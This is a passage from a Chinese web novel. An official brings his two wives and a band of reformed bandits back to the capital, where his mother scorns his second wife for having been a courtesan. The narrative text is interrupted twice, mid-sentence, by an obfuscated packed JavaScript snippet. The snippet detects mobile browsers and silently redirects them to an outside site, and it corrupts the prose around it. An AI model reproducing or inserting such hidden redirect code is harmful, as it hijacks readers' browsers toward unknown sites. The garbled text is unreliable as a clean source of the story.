“今天累坏了吧?”李傲雪指尖轻轻划过他手臂上未完全消退的淤青,语气里满是心疼,“白天在京兆尹府跑前跑后,晚上又应付宴席,肯定没好好歇着。” “还好,心里想着你们,就不觉得累了。”肖晨偏头,在李傲雪发顶蹭了蹭,鼻尖萦绕着她发间淡淡的皂角香,“倒是你们,在山上这些天,肯定受了不少惊吓。” 丁香靠在他肩上,声音软下来:“有少夫人陪着我,倒也没那么怕。就是……就是每天都担心公子,夜里总睡不踏实,怕你出事。” “让你们担心了。”肖晨握紧两人的手,心里满是愧疚,“以后再也不会让你们置身险境了。等过几日,咱们就回京城,把家里好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199595|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收拾收拾,往后安安稳稳过日子。” 李傲雪点点头,眼眶微微泛红:“好,回京城。我还得给你炖你最爱喝的鸡汤,补补身子。” “还有我呢!”丁香连忙抬头,眼里闪着光,“我会做公子爱吃的桂花糕,回去就给你做,做一大筐!” 肖晨看着两人认真的模样,忍不住笑出声,低头在李傲雪唇上轻轻一吻,又在丁香脸颊捏了捏:“好,都依你们。以后每天都能吃到你们做的饭,这样的日子,才叫踏实。” 月光透过窗棂,洒在三人身上,将彼此的影子叠在一起。木屋里没有烛火,却满是暖意,伤口的隐痛还在,可身边有最在乎的人相伴,那些疼痛便都化作了满心的安稳。肖晨轻轻闭上眼睛,感受着两侧温热的身躯,心里只有一个念头——这样的圆满,他会用一辈子去守护。 第二天清晨,天刚蒙蒙亮,李傲雪和丁香就收拾好了简单的行囊,肖晨也换上了周虎让人找来的干净长衫,伤口虽仍有些牵扯痛,却已能正常行走。三人刚走到山寨门口,就见周虎带着二三十个精壮的弟兄候在那里,每个人都背着包袱,神色郑重。 “肖大人。”周虎上前一步,双手抱拳,语气诚恳,“昨日一夜,我和弟兄们商量好了——您是重情义、为百姓办实事的人,我们不想留在青州当巡检,想跟着您回京城,往后鞍前马后,听您差遣!” 他身后的弟兄们也纷纷附和:“是啊肖大人,我们跟着您!”“您让我们除暴安良,我们就跟着您干!” 肖晨愣了一下,随即明白了他们的心思——这些弟兄跟着周虎多年,早已习惯了彼此相伴,更重要的是,他们信得过自己。他低头沉吟片刻,心里忽然涌起一个念头:若有这些身手矫健、又知民间疾苦的弟兄在身边,往后不管是查案还是为百姓做事,都能多一份助力。 他抬头看向周虎,眼神坚定:“你们愿意跟着我,我自然欢迎。只是跟着我,未必有当官清闲,往后可能要走山路、查冤案,甚至会有危险,你们不怕?” “怕什么!”周虎拍着胸脯,“我们以前在山里刀里来火里去,什么危险没见过?只要能跟着您做正经事,为百姓出头,再苦再险都值!” 弟兄们也齐声应和,眼里满是期待。 肖晨心里一暖,拱手道:“好!既然如此,往后咱们就是一家人!我肖晨向你们保证,定不会让你们跟着我受苦,更不会让你们做对不起百姓的事!” “多谢肖大人!”周虎和弟兄们齐声喊道,声音洪亮,震得山间的鸟儿都扑棱棱飞起。 李傲雪走到肖晨身边,笑着说:“少爷,有周大哥他们在,往后咱们也多了些照应。” 丁香也点头:“是啊公子,周大哥他们都是好人,跟着您肯定能帮上不少忙。” 肖晨握住两人的手,又看向周虎:“那咱们就启程吧。路上还得劳烦周大哥照看弟兄们,也多留意些动静,莫要出岔子。” “肖大人放心!”周虎应道,转身对弟兄们吩咐,“都打起精神来,路上注意安全,保护好肖大人和两位夫人!” 一行人浩浩荡荡地往山下走,晨光洒在他们身上,将身影拉得很长。肖晨走在中间,左手牵着李傲雪,右手偶尔回头和周虎说着话,丁香跟在一旁,手里提着给大家准备的干粮。 山路虽陡,可每个人的脸上都带着笑意——肖晨知道,自己不仅带回了家人,还多了一群志同道合的伙伴;周虎和弟兄们明白,自己终于告别了“土匪”的身份,找到了真正值得为之奋斗的方向;李傲雪和丁香则满心欢喜,因为往后的日子,不仅有爱人相伴,还多了一份安稳和希望。 走到山脚下时,太阳已经升得很高。肖晨回头望了一眼这座曾经充满危险,如今却满是回忆的山寨,轻轻笑了。 队伍行至山下官道,早有京兆尹派来的车马等候。周虎让弟兄们分乘几辆马车,自己则和肖晨同乘一辆,一路听肖晨讲京城的规矩、吏部的差事,时不时插几句询问民间冤案的查法,眼里满是认真。 李傲雪和丁香坐在另一辆马车里,掀开帘子看着窗外掠过的田野。春末夏初,地里的麦子泛着金黄,农人扛着锄头在田埂上行走,一派平和景象。 “少夫人,你看那边!”丁香指着远处的村落,炊烟袅袅升起,“等回了京城,咱们府里也能这样,晨起煮茶,傍晚看夕阳,多好。” 李傲雪笑着点头,指尖轻轻抚摸着袖中那枚肖晨送的银簪——这簪子曾是求救的记号,如今成了平安的见证。“是啊,还能在后院种些你喜欢的丁香花,再给少爷炖他爱喝的鸡汤,日子定能安稳下来。” 正说着,马车忽然慢了下来。肖晨掀帘探出头,见前方路口围了一群人,隐约传来孩童的哭声。他让车夫停稳车,刚要下车,周虎已先一步跳了下去,几个弟兄也紧随其后,警惕地护在周围。 “怎么回事?”周虎上前,声音洪亮。人群闻声散开,露出里面一个跪在地上的妇人,怀里抱着个四五岁的孩子,孩子额头渗着血,哭得撕心裂肺。旁边还站着两个凶神恶煞的家丁,手里甩着鞭子,地上散落着几个破碎的陶罐。 “这妇人挡了我们家老爷的路,还敢顶嘴!”家丁见周虎等人衣着整齐,却带着几分悍气,语气稍缓却仍蛮横,“我们家老爷是这附近的张员外,耽误了行程,你们担待得起?” 妇人抬起头,满脸泪痕:“他们抢了我的鸡蛋,我只是要个说法,他们就打我的娃!” 肖晨走过来,蹲下身查看孩子的伤口,又问清缘由——妇人是附近村子的,今早去镇上卖鸡蛋,刚赚的铜板被张员外的家丁抢走,她追着要说法,反被家丁推倒,孩子磕到了石头上。 周虎听得火冒三丈,攥紧了拳头就要上前,却被肖晨拦住。“先给孩子处理伤口。”肖晨从袖中摸出随身携带的伤药,递给李傲雪,又转向家丁,“让你们家员外出来说话。” 家丁见肖晨气质不凡,身后又跟着一群气势慑人的弟兄,不敢再嚣张,连忙跑向不远处的豪华马车。片刻后,一个肥头大耳的男人掀帘下来,正是张员外。 “是谁敢拦我的路?”张员外眯着眼,扫过肖晨一行人,看到周虎等人的模样,心里咯噔一下,却仍强撑着架子,“我可是捐了官的,你们想造反不成?” “捐了官就敢纵容家丁抢百姓财物、伤妇孺?”肖晨语气冰冷,“朝廷设官是为了护百姓,不是让你这样作威作福的。” 张员外脸色一变,刚要辩解,周虎已上前一步,单手拎起他的衣领:“我看你是忘了怎么做人!今天要么把抢的钱还回来,给这妇人赔罪,再请大夫给孩子治伤;要么,我就把你绑去京兆尹府,让大人评评理!” 张员外被周虎的力气吓得腿软,连忙点头:“我赔!我赔!”他让家丁拿出银子,亲自递给妇人,又连连道歉,还让人去镇上请大夫。 妇人接过银子,对着肖晨和周虎连连磕头:“多谢大人!多谢各位好汉!” 肖晨扶起她:“快带孩子去看大夫吧,往后再有人欺负你,就去京兆尹府报我的名字,我叫肖晨。” 等妇人和孩子离开,张员外也灰溜溜地带着家丁走了。人群散去,周虎看着肖晨,眼里满是敬佩:“肖大人,您这才是真的为百姓做事!比那些只知道搜刮民脂的官强多了!” 弟兄们也纷纷附和,心里对跟着肖晨的决定更坚定了几分。 肖晨笑了笑:“这只是举手之劳。往后咱们遇到这样的事,只要能帮,就不能袖手旁观——这才是咱们该做的事。” 重新启程时,马车里的气氛更热络了。周虎和弟兄们你一言我一语,说着往后要怎么帮百姓,李傲雪和丁香也凑过来,出着主意,比如在府里设个小药箱,给路过的穷苦人送些药。 夕阳西下时,队伍终于抵达京城外。远远望见巍峨的城门,肖晨心里涌起一股归属感。他掀着帘,看着身边的李傲雪和丁香,又看了看对面马车里满脸期待的周虎和弟兄们,轻声道:“我们到家了。” 李傲雪靠在他肩上,看着渐渐靠近的城门,眼里满是笑意:“嗯,到家了。” 丁香也笑着点头,手里紧紧攥着给肖晨准备的桂花糕方子——她要尽快做出来,让公子尝尝家的味道。 马车缓缓驶入城门,街道上行人往来,叫卖声此起彼伏。周虎和弟兄们扒着车窗,好奇地看着京城的景象,眼里满是憧憬。 肖晨知道,这座城不仅是他的家,也是他和这些新伙伴们践行初心的地方。往后,他会带着李傲雪、丁香,还有周虎等人,一起查冤案、护百姓,让这座城,让更多的地方,少些疾苦,多些安稳。 夕阳的余晖洒在马车顶上,也洒在每个人的脸上。归途已至,新的征程,才刚刚拉开序幕。 71.捧高踩低,刺痛着她的心 肖府的大门刚被推开,管家就带着仆人们迎了上来,看到肖晨平安归来,又瞧见身后跟着的周虎一行人,连忙上前招呼:“少爷!少夫人!你们可算回来了!府里早就备好热水和饭菜,就等你们了!” 李傲雪和丁香忙着吩咐仆役收拾客房,肖晨则带着周虎和几个弟兄先去前厅落座。不多时,桌上就摆满了热气腾腾的菜——红烧鱼、炖鸡汤、酱肘子,还有几样清爽的时蔬,都是肖晨和周虎等人爱吃的家常味道。 “大家一路辛苦,多吃点。”肖晨拿起酒壶,给周虎和身边的弟兄们斟满酒,“这杯我敬你们,往后咱们就是一家人,不必见外。” 周虎端起酒杯,一饮而尽,放下杯子时眼眶有些发红:“肖大人,您待我们这般好,我们……” “都是自己人,说这些就见外了。”肖晨笑着打断他,夹了块鸡肉放进他碗里,“快吃菜,一路颠簸,肯定饿坏了。” 弟兄们也没了初见时的拘谨,拿起筷子大快朵颐,一边吃一边说着路上的趣事,前厅里满是欢声笑语。李傲雪和丁香坐在一旁,时不时给肖晨夹菜,又给弟兄们添酒,气氛热闹又温馨。 酒过三巡,菜过五味,仆人们收拾了碗筷,肖晨带着周虎来到书房。他从书架上取出一份文书,递给周虎:“我已经和吏部尚书打过招呼,给你和弟兄们谋了职位。你经验丰富,身手又好,做京城的都头再合适不过,负责京城内外的巡检,维护治安。” 周虎接过文书,看到上面“任命周虎为京城巡检都头”的字样,手都在微微颤抖。他这辈子没想过,自己竟能成为京城的官,还能堂堂正正地护着百姓。 “肖大人,这……这太贵重了!”周虎激动得说不出话,连忙起身拱手,“我周虎没读过书,怕做不好这个都头,辜负了您的信任。” “你不必担心。”肖晨拍了拍他的肩膀,语气坚定,“你懂民间疾苦,又有责任心,比那些只会读死书的官强多了。况且,你的弟兄们可以跟着你一起巡检,你们配合多年,做事也更顺手。” 他顿了顿,继续道:“往后,你们不仅要查街头的斗殴闹事,还要多留意百姓的难处——若是遇到恶霸欺人、贪官勒索,不用怕,直接报我的名字,我替你们撑腰。” 周虎听到这话,再也忍不住,眼眶一热,“噗通”一声跪在地上:“肖大人!您对我周虎的恩情,我这辈子都报不完!往后我定带着弟兄们好好做事,绝不放过一个坏人,绝不辜负您的信任!” “快起来!”肖晨连忙扶起他,“咱们之间,不用行此大礼。你能好好为百姓做事,就是对我最好的报答。” 周虎站起身,用力抹了把脸,握紧手里的文书:“肖大人放心!我一定把京城的治安管好,让百姓们能安稳过日子!” 两人又聊了些巡检的具体事宜,比如弟兄们的排班、巡检的路线,直到深夜,周虎才带着满心的激动离开书房。 肖晨回到卧房时,李傲雪和丁香还在等他。看到他进来,李傲雪连忙上前:“少爷,和周大哥谈完了?” “嗯,都安排好了。”肖晨笑着坐下,拉过两人的手,“往后周虎做了京城都头,咱们也能多帮些百姓,这日子也能更踏实了。” 丁香靠在他身边,笑着说:“周大哥是个好人,肯定能做好都头的。咱们府里往后要是听到百姓有难处,也能告诉周大哥,让他去帮忙。” “是啊。”李傲雪也点头,眼里满是欣慰,“少爷这一路走来,虽然辛苦,却帮了这么多人,也找到了志同道合的伙伴,真好。” 肖晨看着身边两个温柔的身影,心里满是暖意。他轻轻将两人揽入怀中,在她们额间各印下一个吻:“有你们在身边,又有周虎这样的伙伴,往后不管遇到什么事,我都有底气。” 窗外月光正好,屋内灯火温暖。一家人依偎在一起,听着窗外偶尔传来的更声,心里满是安稳——这便是他们想要的日子,有爱人相伴,有初心可守,有伙伴同行,往后的路,定是一片坦途。 第二天一早,天刚亮,周虎就带着弟兄们换上了朝廷派发的巡检服饰,精神抖擞地去府衙上任。肖晨送他们到门口,又叮嘱了几句“凡事多听多问,莫要急躁”,才转身乘车前往吏部。 刚处理完手头的公文,宫里的太监就匆匆赶来,传皇上口谕,召他即刻前往御书房见驾。肖晨心里一凛,整理好衣冠,跟着太监往皇宫走去。 御书房内,檀香袅袅。皇上坐在龙椅上,手里拿着一份奏折,见肖晨进来,笑着放下:“肖晨,你这次招安山寨之事办得极好,既化解了危机,又为朝廷添了可用之人,朕要赏你。” 肖晨连忙跪地行礼:“陛下谬赞!臣只是做了分内之事,不敢求赏。臣此生唯一的心愿,便是为陛下分忧,为百姓做事,这就足够了。” 皇上闻言,脸上的笑意更浓:“难得你有这份心。不过赏罚分明是朝廷规矩,你不愿要赏赐,你的家人总该受赏。” 他顿了顿,继续道:“你的正妻李傲雪,在山寨中安抚书生、稳定人心,也有功劳,朕赏她一品诰命夫人,以示嘉奖。” 肖晨心中一喜,连忙叩谢:“谢陛下恩典!” “还有你的二夫人。”皇上话锋一转,语气里多了几分探究,“朕听说,她原是花船的妓女出身?” 肖晨身子一僵,随即抬头,语气坚定:“回陛下,确是如此。但臣从不介意她的过去与出身,臣爱的,是她这个人——她善良坚韧,在危难时不离不弃,于臣而言,她与傲雪一样,都是臣此生最珍视的人。” 皇上挑了挑眉,眼里闪过一丝兴味:“哦?倒是少见你这般不在乎门第的。”他沉吟片刻,语气却渐渐严肃,“只是肖晨,你要明白,世家大族最重门风,妓女出身之人,终究难登大雅之堂,若赐她诰命,恐会引来朝臣非议,也坏了规矩。” 肖晨心里一沉,却也明白皇上的顾虑,刚要开口,就听皇上继续道:“不过她既也有护你之情,朕也不会亏待她。传朕旨意,赏她上等云锦百匹、珍珠玛瑙一箱,也算全了你的心意。” 肖晨知道,这已是皇上能给出的最大让步,连忙再次叩谢:“臣代内子,谢陛下恩典。” “起来吧。”皇上摆摆手,语气缓和下来,“朕知道你重情义,但往后在朝堂上,行事仍需谨慎些。你是难得的栋梁之才,朕不希望你因私情,落人口实。” “臣谨记陛下教诲。”肖晨起身,垂首应道。 离开御书房时,阳光正好,肖晨却没多少喜悦。一品诰命对傲雪是天大的荣耀,可想到丁香会因出身受委屈,他心里满是愧疚。 回到府中,李傲雪和丁香早已在门口等候。看到肖晨回来,李傲雪连忙上前:“少爷,陛下召见你,可是有什么要事?” 肖晨拉过两人的手,先对李傲雪笑道:“傲雪,陛下赏你一品诰命夫人,这是天大的恩典。” 李傲雪又惊又喜,连忙福身:“谢陛下恩典,也多谢少爷。” 肖晨又转向丁香,眼神里满是歉意:“丁香,陛下也知晓你的事,赏了你许多绸缎和珠宝……只是诰命一事,碍于出身,未能如愿。” 丁香闻言,却丝毫没有失落,反而笑着摇摇头,握紧他的手:“公子,我不在乎这些。能陪在你和少夫人身边,安稳过日子,就比什么都好。那些绸缎珠宝,已经是陛下的厚爱了。” 李傲雪也连忙道:“是啊少爷,丁香从来不是看重虚名的人。往后咱们一家人好好的,比什么都强。” 看着两人体谅的模样,肖晨心里的愧疚渐渐消散,取而代之的是满心的暖意。他轻轻将两人揽入怀中:“好,咱们一家人,往后好好过日子。不管有没有诰命,在我心里,你们都是我最珍贵的人。” 晚饭时分,肖家主院的餐桌上摆满了菜肴,却透着一股压抑的安静。肖父肖母坐在主位,目光时不时落在李傲雪身上,带着明显的笑意,看向丁香时,却又多了几分轻蔑。 肖母先开了口,夹了一筷子菜放进李傲雪碗里,语气满是欢喜:“傲雪啊,如今你得了一品诰命夫人的赏赐,可是咱们肖家的大福气!往后出去见那些官家夫人,也有面子,真是给咱们肖家长脸了!” 李傲雪放下筷子,起身福了福身,语气谦和:“儿媳能得此恩典,全靠陛下垂爱,也多亏了少爷在朝中尽心做事。儿媳往后定会更用心打理家事,不辜负这份荣耀,也不让爹娘失望。” 肖父也点点头,对李傲雪赞不绝口:“你做事稳重,配得上这诰命,好好待在肖晨身边,帮他打理好后院,就是对他最大的助力。” 一家人正说着,肖母话锋一转,突然看向坐在一旁的丁香,脸色瞬间沉了下来,语气尖刻:“有些人啊,就是贱蹄子上不得台面!陛下赏你的那些绸缎珠宝,瞧你那出身,穿在身上、戴在头上,简直就是浪费好东西!” 她顿了顿,眼神里满是不容置疑:“一会儿吃完饭,你挑几匹最好的云锦、几样成色好的珍珠,送到我和傲雪的房里来。你留着那些东西也没用,不如给能配得上的人用。” 丁香握着筷子的手猛地一紧,指尖泛白,眼眶瞬间红了。她低下头,长长的睫毛遮住眼底的委屈,却一句话也不敢说——在肖家,肖母向来对她苛刻,她早已习惯了这样的冷言冷语,只是今日当着肖晨和李傲雪的面被这般羞辱,心里还是像被针扎一样疼。 肖晨脸色骤变,刚要开口,李傲雪却先一步握住了他的手,轻轻摇了摇头,示意他稍安勿躁。随后她转向肖母,语气依旧温和,却带着几分坚定:“娘,丁香妹妹也是少爷的妻子,陛下赏她的东西,自然该由她自己做主。再说丁香妹妹性子好,平日里帮我打理家事也很尽心,那些赏赐是她应得的,哪有夺人所好的道理?” 肖母没想到李傲雪会替丁香说话,脸色更难看了:“傲雪,你就是太心软!她一个妓女出身的,哪配得上那些好东西?留在她手里,早晚也是糟蹋了!” “娘!”肖晨终于忍不住开口,语气带着几分不悦,“丁香是我的妻子,我早已说过,不在乎她的出身。陛下赏她东西,是认可她的情义,您怎能这般说她?往后不许再用这种话羞辱她,不然我可不依。” 肖父皱了皱眉,看向肖母:“好了,吃饭的时候少说两句。肖晨说得对,丁香如今也是肖家的人,该有的尊重还是要给。” 肖母被父子俩一唱一和地反驳,心里虽不满,却也不敢再多说,只能狠狠瞪了丁香一眼,闷头吃起饭来。 餐桌上的气氛更加沉闷,丁香始终低着头,默默扒着碗里的饭,眼泪差点掉在碗里。李傲雪悄悄给她夹了块她爱吃的甜糕,用眼神安抚她,丁香抬头看了看李傲雪,又看了看肖晨,心里才稍稍暖了些。 饭后,肖晨直接拉着丁香回了两人的院子。一进房门,他就心疼地握住丁香的手,看着她通红的眼眶,语气满是愧疚:“对不起,让你受委屈了。娘的话你别往心里去,那些赏赐都是你的,谁也不能抢。” 丁香摇了摇头,吸了吸鼻子,声音带着哽咽:“公子,我没事……我早就习惯了。只要能陪在你身边,娘说几句难听的,我不在乎。” “我在乎。”肖晨轻轻把她揽进怀里,语气坚定,“你是我肖晨的妻子,我绝不会让你再受这样的委屈。往后娘要是再对你不好,我一定护着你。那些赏赐你好好收着,喜欢什么就做什么衣裳、首饰,不用管别人怎么说。” 这时,李傲雪也端着一碗甜汤走了进来,笑着说:“丁香妹妹,快尝尝我给你炖的银耳羹,甜丝丝的,喝了能舒心些。咱们不管别人怎么说,自己过得开心最重要。你的东西,谁也别想拿,我帮你一起收着。” 丁香接过甜汤,看着肖晨和李傲雪关切的眼神,心里的委屈渐渐消散,眼眶却更红了,这一次,是感动的泪水。她轻轻点了点头,小口喝着甜汤,只觉得这碗甜羹,比任何珠宝绸缎都更让她温暖。 在这个家里,虽有肖母的刻薄,却有肖晨的维护、李傲雪的体谅,这份情意,足以支撑她走过所有的风雨。 二老回到自己的院子,肖母一进门就气冲冲地坐在椅子上,抓起桌上的茶杯猛灌了一口,嘴里还在念叨:“真是气死我了!那个贱蹄子,不过是个从妓院里出来的,凭什么得陛下赏赐?那些云锦珍珠,哪样不是好东西,落在她手里简直是暴殄天物!” 肖父走过来,坐在她对面,眉头微微皱着:“你刚才在饭桌上说的话,确实有点重了。肖晨既然护着她,又有傲雪帮腔,你再这么当众羞辱,只会让肖晨难堪,也伤了家里的和气。” “和气?”肖母冷笑一声,把茶杯重重放在桌上,“我跟那种脏货讲什么和气?傲雪可是正经官宦世家的小姐,当年嫁给肖晨,那是门当户对,她配得上一切好东西!可那个丁香呢?出身那种腌臜地方,身上的污秽气都洗不掉,穿再好的绸缎、戴再贵的珠宝,也改不了她的低贱底子,让人看见了,只会笑话咱们肖家没规矩,连这种人都能进门!” 肖父沉默了片刻,指尖轻轻敲击着桌面。他心里本就介意丁香的出身,觉得她配不上肖晨,更配不上肖家的门第。此刻听肖母这么一说,也觉得有几分道理:“你说的……也不是没有依据。她毕竟是那种地方出来的,传出去确实不好听。那些赏赐若是让傲雪用,既能彰显咱们肖家的体面,也符合规矩,总比让她用着,落人口舌强。” “就是这个理!”肖母见他松了口,语气更激动了,“明天我就去她院里,亲自挑几样好的过来。她要是敢不乐意,我就跟她好好说道说道,让她明白自己在肖家的位置,别以为有肖晨护着,就能忘了自己的本分!” 肖父没有阻拦,只是叹了口气:“你也别太强硬,免得又跟肖晨闹僵。毕竟他现在是朝廷重用的人,咱们做父母的,也别给他添太多麻烦。” “我知道分寸。”肖母哼了一声,眼里满是不屑,“不过是个仰人鼻息的,我还治不了她?等我把东西拿到手,让她知道,在肖家,到底谁才是能拿主意的人,谁才配得上这些好东西!” 第二天一早,肖母没等丫鬟通报,就径直闯进了丁香的院子。彼时丁香正坐在窗边,小心翼翼地整理着皇上赏赐的云锦,指尖轻轻拂过上面精致的花纹,眼里刚有几分欢喜,就被突然传来的脚步声惊得起身。 “贱蹄子,动作快点!”肖母双手背在身后,下巴抬得老高,眼神像刀子一样刮过那些绸缎,“把陛下赏你的东西挑几匹最好的云锦,再捡两样成色好的珍珠玛瑙,送到我和傲雪的房里来。别磨磨蹭蹭的,耽误了我做事!” 丁香攥紧了衣角,指尖泛白,脸上的血色瞬间褪去。她低着头,声音细若蚊蚋:“儿媳……知道了。” 说着,她强忍着心里的酸涩,转身去拿一旁的木盒,刚要弯腰挑选,就被肖母一把拦住。 “哼,就你这眼光,能挑出什么好东西?”肖母推开她,自己伸手在锦缎堆里翻找,专挑那些颜色鲜亮、绣工精致的,胡乱塞进丫鬟手里的包袱,“这些就够了,剩下的你留着也没用,别糟蹋了好东西。” 丁香站在一旁,看着自己珍视的赏赐被如此随意对待,眼泪在眼眶里打转,却不敢掉下来。 等肖母挑完,转身要走时,又突然停下脚步,回头看向丁香,嘴角勾起一抹刻薄的笑:“我可告诉你,脏货就是脏货,就算穿了好衣裳、戴了好首饰,也洗不掉你身上的污秽气。别妄想我会看得起你,更别想着跟傲雪比——你在怎么样,也只不过是个从妓院里出来的婊子,永远都登不上台面!” 这话像一把淬了毒的针,狠狠扎进丁香的心里。她猛地抬起头,眼里满是委屈和震惊,嘴唇颤抖着,却一个字也说不出来。 肖母看着她这副模样,心里更得意了,冷哼一声,带着丫鬟扬长而去,留下丁香一个人站在空荡荡的房间里,眼泪终于忍不住大颗大颗地掉了下来。 她缓缓蹲下身,抱住自己的膝盖,肩膀止不住地颤抖。那些刻薄的话语在耳边反复回响,“贱蹄子”“脏货”“婊子”,每一个字都像鞭子一样抽在她身上,让她觉得自己连尘埃都不如。 她知道自己出身不好,也一直努力讨好肖母,想好好留在肖晨身边,可无论她怎么做,都换不来一丝尊重。难道就因为她曾在花船待过,这辈子就只能被人这样羞辱吗? 就在这时,房门被轻轻推开,李傲雪端着一碗热气腾腾的粥走了进来。看到蹲在地上哭泣的丁香,她连忙放下粥碗,快步走过去,轻轻扶起她:“丁香妹妹,怎么了?是不是娘又为难你了?” 丁香靠在李傲雪怀里,再也忍不住,放声哭了出来,断断续续地把肖母的话复述了一遍。 李傲雪听着,心里又气又疼,轻轻拍着她的背安抚:“妹妹别听娘的,那些话都是气话,作不得数。你善良又懂事,在肖家这些日子,帮了我多少忙,肖晨心里也清楚。出身不是你的错,你不必因此苛责自己。” 可丁香的哭声却更响了:“少夫人,我是不是真的……真的配不上公子?是不是我留在他身边,只会给他添麻烦,让别人笑话他?” “当然不是!”李傲雪连忙擦去她的眼泪,语气坚定,“少爷那么疼你,怎么会觉得你添麻烦?你是他认定的妻子,这就够了。至于别人怎么说,咱们不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199596|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎。往后我会帮你,肖晨也会护着你,谁也不能再这么欺负你!” 正说着,肖晨从外面回来,看到屋里的情景,又听李傲雪说了缘由,脸色瞬间沉了下来。他走到丁香身边,轻轻握住她冰凉的手,眼神里满是心疼和愤怒:“别听娘的,她的话没有道理。你是我肖晨的妻子,在我心里,你比任何人都珍贵。往后她再敢这么说你,我绝不会饶她!” 丁香看着肖晨坚定的眼神,又看了看李傲雪关切的模样,心里的委屈渐渐被暖意取代。她吸了吸鼻子,轻轻点了点头:“公子,少夫人,谢谢你们。” 肖晨叹了口气,把她揽进怀里:“傻丫头,跟我说什么谢。往后有我在,没人能再让你受委屈。那些赏赐没了就没了,我再给你买更好的,咱们不稀罕那些。” 李傲雪也笑着点头:“是啊,咱们一起去街上挑布料,做新衣裳,比那些赏赐好看多了。” 在两人的安抚下,丁香的情绪渐渐平复下来。她知道,虽然肖母的偏见难以改变,但只要有肖晨的维护和李傲雪的体谅,她就能鼓起勇气,好好地留在这个家里,和他们一起,把日子过好。 下午,吏部的张大人亲自登门,手里捧着一叠烫金请帖,笑着递到肖晨面前:“肖大人,如今尊夫人得了一品诰命,可是咱们京城里的大喜事!我家内子和几位同僚的夫人都盼着能和尊夫人见见面,沾沾这份喜气,特意在‘醉仙楼’备了薄宴,还望肖大人赏光。” 肖晨接过请帖,客气道:“张大人太客气了,不过是份朝廷恩典,怎好劳烦各位夫人费心。” “这话说的哪里话!”张大人摆手,“肖大人年轻有为,尊夫人又贤良淑德,咱们本就该多亲近。晚上酉时,我们在醉仙楼二楼‘揽月阁’候着。” 送走张大人,肖晨回头和李傲雪、丁香商量:“既是同僚相邀,不去反倒显得生分。晚上你们陪我一起去,也好和各位夫人认识认识。” 李傲雪点头应下,又细心帮丁香挑选了一身素雅的湖蓝色襦裙,还替她簪了支简单的珍珠钗:“妹妹这样打扮,既大方又不失体面,别管旁人怎么看。” 丁香轻轻点头,心里却还是有些发怵——她知道,自己的出身,怕是难被那些官家夫人接纳。 傍晚,三人乘车抵达醉仙楼。刚上二楼,就见张大人和几位官员迎了上来,笑着把他们让进包厢。包厢里早已坐满了人,男人们坐在一侧,女眷们则聚在另一边的圆桌旁,看到李傲雪进来,纷纷起身相迎。 “这位就是肖夫人吧?果然气度不凡,一看就是有福气的人!” “一品诰命的荣光,可不是谁都能得的,肖夫人真是好命!” 女眷们围着李傲雪,你一言我一语,满是恭维的话,手里还递上精致的手帕、香囊,热情得不行。 李傲雪从容应对,笑着一一回礼,举止端庄得体,尽显诰命夫人的风范。 而站在肖晨身侧的丁香,却成了尴尬的存在。女眷们只是匆匆扫了她一眼,便收回目光,转而互相递着眼色,眼神里满是打量和轻蔑——有人悄悄用帕子掩住口鼻,仿佛多看她一眼都怕沾了“脏东西”;有人凑在一起小声嘀咕,嘴唇动着,虽听不清具体说什么,可那嫌弃的神情,却像针一样扎在丁香心上。 肖晨将这一切看在眼里,伸手轻轻握住丁香的手,用指尖悄悄捏了捏她的掌心,示意她别在意。随后他转向众人,语气自然道:“这位是我的二夫人丁香,今日也一同来沾沾各位的喜气。” 这话一出,包厢里的气氛瞬间冷了几分。有位官员的夫人甚至直接皱起眉,拉着身边人往后退了半步,声音不大不小,刚好能让周围人听见:“哎呀,这酒楼里怎么还什么人都能进……” 丁香的脸瞬间变得惨白,下意识地往肖晨身后缩了缩,手指紧紧攥着他的衣袖。 李傲雪见状,连忙上前一步,笑着挽住丁香的胳膊,语气亲昵:“丁香妹妹性子文静,平日里在家总帮我打理家事,是个难得的贴心人。今日能来赴宴,也是想多向各位夫人学学规矩。” 她这话既给了丁香台阶,也暗暗提醒众人莫要失了体面。几位明事理的夫人闻言,虽仍有芥蒂,却也不再明着表露嫌弃,只是客气地点了点头。 肖晨也顺势引着两人坐下,将丁香护在身边,转头对她轻声道:“别多想,咱们吃些东西,待会儿早些回去。” 丁香看着肖晨眼底的关切,又看了看李傲雪递来的温热茶杯,心里的委屈稍稍压下,轻轻“嗯”了一声。 宴席开始后,男人们谈着朝堂事,女眷们则围着李傲雪聊首饰、论茶艺,偶尔有目光落在丁香身上,也多是带着偏见的打量。丁香默默坐在角落,小口吃着菜,尽量降低自己的存在感,可那些若有似无的议论声,还是不断钻进耳朵里。 她知道,这场宴席,于李傲雪是荣光,于她,却是一场无声的羞辱。可只要肖晨和李傲雪在身边护着她,她就有勇气撑下去——哪怕全世界都看不起她,只要身边人信她、护她,就够了。 酒过三巡,包厢里的气氛渐渐喧闹起来。有位满脸通红的王大人端着酒杯,晃悠着走到肖晨身边,眼神却不怀好意地瞟向一旁的丁香,语气轻佻:“肖大人,您这二夫人可真够特别的——听说从花船出来的?那身段、那手段,是不是特别会伺候人啊?” 这话一出,周围几位官员顿时哄笑起来,目光齐刷刷地落在丁香身上,带着毫不掩饰的戏谑与轻蔑。 